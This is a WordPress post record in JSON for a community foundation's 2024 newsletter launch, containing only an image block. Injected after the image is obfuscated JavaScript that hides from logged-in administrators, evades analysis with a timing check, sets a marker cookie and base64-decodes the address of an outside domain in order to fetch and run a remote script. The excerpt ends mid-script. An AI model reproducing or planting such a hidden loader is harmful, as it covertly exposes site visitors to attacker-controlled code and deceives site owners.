{"id":2436,"date":"2024-03-15T02:19:32","date_gmt":"2024-03-15T07:19:32","guid":{"rendered":"https:\/\/themonroefoundation.org\/business\/?p=2436"},"modified":"2026-01-21T09:21:15","modified_gmt":"2026-01-21T15:21:15","slug":"grassroots-newsletter-launches-2024-engaging-in-fair-chances-and-philanthropic-investment-in-hope","status":"publish","type":"post","link":"https:\/\/themonroefoundation.org\/business\/blog\/grassroots-newsletter-launches-2024-engaging-in-fair-chances-and-philanthropic-investment-in-hope\/","title":{"rendered":"Grassroots Newsletter \u2013 Launches 2024 Engaging In &#8220;Fair Chances&#8221; and &#8220;Philanthropic Investment&#8221; In Hope!"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"724\" height=\"1024\" src=\"https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition-724x1024.jpg\" alt=\"\" class=\"wp-image-2437\" srcset=\"https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition-724x1024.jpg 724w, https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition-212x300.jpg 212w, https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition-768x1086.jpg 768w, https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition-1086x1536.jpg 1086w, https:\/\/themonroefoundation.org\/business\/wp-content\/uploads\/2024\/03\/GrassrootsNewsletter20241stEdition.jpg 1414w\" sizes=\"(max-width: 724px) 100vw, 724px\" \/><\/figure>\n<script>;<\/script><script>;<\/script><script>;<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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